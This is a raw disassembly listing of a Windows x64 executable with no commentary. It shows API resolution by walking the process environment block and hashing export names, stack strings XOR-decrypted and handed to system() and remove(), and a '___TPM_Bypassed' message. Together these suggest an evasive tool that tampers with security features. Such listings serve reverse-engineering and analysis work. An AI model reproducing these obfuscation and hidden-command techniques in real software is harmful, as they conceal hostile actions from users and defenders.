movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140044a20
cmp r8d, 0xb3a25c42
je 0x140044a4b
test r9d, r9d
jne 0x140044a00
mov rax, qword [rax]
jmp 0x1400449d0
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x140044bb5
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x11d4]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x140044ab0
cmp r8d, 0x64
jge 0x140044c00
movsxd rax, r8d
lea r9, [rsp + 0x11d0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x64
jl 0x140044bd0
lea rcx, [rsp + 0x11d0]
call r11
movups xmm0, xmmword [0x1400a7830]
movups xmmword [rsp + 0xfa0], xmm0
movups xmm1, xmmword [0x1400a7840]
movups xmmword [rsp + 0xfb0], xmm1
movups xmm0, xmmword [0x1400a7850]
movups xmmword [rsp + 0xfc0], xmm0
movups xmm1, xmmword [0x1400a7860]
movups xmmword [rsp + 0xfd0], xmm1
movups xmm0, xmmword [0x1400a7870]
movups xmmword [rsp + 0xfe0], xmm0
movups xmm1, xmmword [0x1400a7880]
movups xmmword [rsp + 0xff0], xmm1
movzx eax, word [0x1400a7890]
mov word [rsp + 0x1000], ax
movzx eax, byte [0x1400a7892]
mov byte [rsp + 0x1002], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x140044d16
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x140044d16
mov r12d, dword [r13 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r12 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xb2b852fd
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140044d11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140044cf0
cmp r8d, 0x3f732994
je 0x140044d1b
test r9d, r9d
jne 0x140044cd0
mov rax, qword [rax]
jmp 0x140044ca0
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x140044e85
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xfa4]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x140044d80
cmp r8d, 0x63
jge 0x140044ed0
movsxd rax, r8d
lea r9, [rsp + 0xfa0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x63
jl 0x140044ea0
lea rcx, [rsp + 0xfa0]
call r11
lea rdx, [rsp + 0x1450]
lea rax, [0x140000000]
lea rcx, [rax + 0xa78a0]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x90], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0xa0], rax
movzx eax, byte [rcx + 0xa8]
mov byte [rdx + 0xa8], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x140044ff6
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x140044ff6
mov r12d, dword [r13 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r12 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa1b5f9a3
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140044ff1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140044fd0
cmp r8d, 0x7462a62a
je 0x140044ffb
test r9d, r9d
jne 0x140044fb0
mov rax, qword [rax]
jmp 0x140044f80
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r13d, r13d
mov r8d, r13d
mov r12d, dword [0x140d3f110]
cmp r12d, 2
jl 0x14004516b
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x1454]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x140045060
cmp r8d, 0xa9
jge 0x1400451b3
movsxd rax, r8d
lea r9, [rsp + 0x1450]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa9
jl 0x140045180
lea rcx, [rsp + 0x1450]
call r11
movups xmm0, xmmword [0x1400a7950]
movups xmmword [rsp + 0x880], xmm0
movsd xmm0, qword [0x1400a7970]
movups xmm1, xmmword [0x1400a7960]
movsd qword [rsp + 0x8a0], xmm0
movups xmmword [rsp + 0x890], xmm1
cmp r12d, 2
jl 0x14004532f
movdqa xmm5, xmmword [0x1400a66c0]
mov edx, r13d
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x884]
mov r8d, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140045230
jmp 0x140045370
lea r9, [rsp + 0x880]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140045340
mov r8d, 0x60a00
lea rdx, [0x140bae790]
lea rcx, [rsp + 0x880]
call fcn.14003e7f0
movups xmm0, xmmword [0x1400a7978]
movups xmmword [rsp + 0x8f0], xmm0
movsd xmm0, qword [0x1400a7998]
movups xmm1, xmmword [0x1400a7988]
movsd qword [rsp + 0x910], xmm0
movups xmmword [rsp + 0x900], xmm1
cmp r12d, 2
jl 0x1400454ff
movdqa xmm5, xmmword [0x1400a66c0]
mov edx, r13d
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x8f4]
mov r8d, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140045400
jmp 0x140045540
lea r9, [rsp + 0x8f0]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140045510
lea rcx, [rsp + 0x8f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a79a0]
movups xmmword [rsp + 0x990], xmm0
movsd xmm0, qword [0x1400a79c0]
movups xmm1, xmmword [0x1400a79b0]
movsd qword [rsp + 0x9b0], xmm0
movups xmmword [rsp + 0x9a0], xmm1
cmp r12d, 2
jl 0x1400456bf
movdqa xmm5, xmmword [0x1400a66c0]
mov edx, r13d
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x994]
mov r8d, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x1400455c0
jmp 0x140045700
lea r9, [rsp + 0x990]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x1400456d0
lea rcx, [rsp + 0x990]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov byte [0x140d4505d], 1
mov byte [0x140d4505e], 1
jmp 0x14004572b
cmp byte [0x140d4505e], 0
je 0x140045984
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rdx, str.___TPM_Bypassed
lea rcx, [rsp + 0xe48]
call fcn.1400071e0
movss xmm1, dword [rax]
mulss xmm1, xmm12
movss xmm0, dword [0x1400a8430]
subss xmm0, xmm1
movss dword [rsp + 0x4f0], xmm0
mov dword [rsp + 0x4f4], 0x428c0000
movups xmmword [rsp + 0x748], xmm8
lea rcx, [rsp + 0x748]
call fcn.1400082d0
mov r12d, eax
movups xmmword [rsp + 0x758], xmm8
lea rcx, [rsp + 0x758]
call fcn.1400082d0
mov r10d, eax
movups xmm0, xmmword [0x1400a79c8]
movups xmmword [rsp + 0x7a0], xmm0
movzx ecx, byte [0x1400a79d8]
mov byte [rsp + 0x7b0], cl
mov r8d, r13d
cmp dword [0x140d3f110], 2
jl 0x140045915
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x7a4]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140045810
cmp r8d, 0x11
jge 0x140045960
movsxd rax, r8d
lea r9, [rsp + 0x7a0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140045930
lea rax, [rsp + 0x4f0]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm13
mov r8d, r12d
mov edx, r10d
lea rcx, [rsp + 0x7a0]
call fcn.140039970
mov edx, 0x3e8
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
cmp byte [0x140d4505f], 0
jne 0x140046b1e
movups xmm0, xmmword [0x1400a79e0]
movups xmmword [rsp + 0xc80], xmm0
movups xmm1, xmmword [0x1400a79f0]
movups xmmword [rsp + 0xc90], xmm1
movups xmm0, xmmword [0x1400a7a00]
movups xmmword [rsp + 0xca0], xmm0
movups xmm1, xmmword [0x1400a7a10]
movups xmmword [rsp + 0xcb0], xmm1
movzx eax, byte [0x1400a7a20]
mov byte [rsp + 0xcc0], al
mov r8d, r13d
mov r12d, dword [0x140d3f110]
cmp r12d, 2
jl 0x140045b36
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xc84]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140045a31
cmp r8d, 0x41
jge 0x140045b80
movsxd rax, r8d
lea r9, [rsp + 0xc80]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x140045b50
lea rcx, [rsp + 0xc80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400a7a40]
movups xmm0, xmmword [0x1400a7a30]
movups xmmword [rsp + 0xa10], xmm1
movups xmmword [rsp + 0xa00], xmm0
movzx eax, byte [0x1400a7a70]
movups xmm1, xmmword [0x1400a7a60]
movups xmm0, xmmword [0x1400a7a50]
mov byte [rsp + 0xa40], al
movups xmmword [rsp + 0xa30], xmm1
movups xmmword [rsp + 0xa20], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x140045d25
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xa04]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
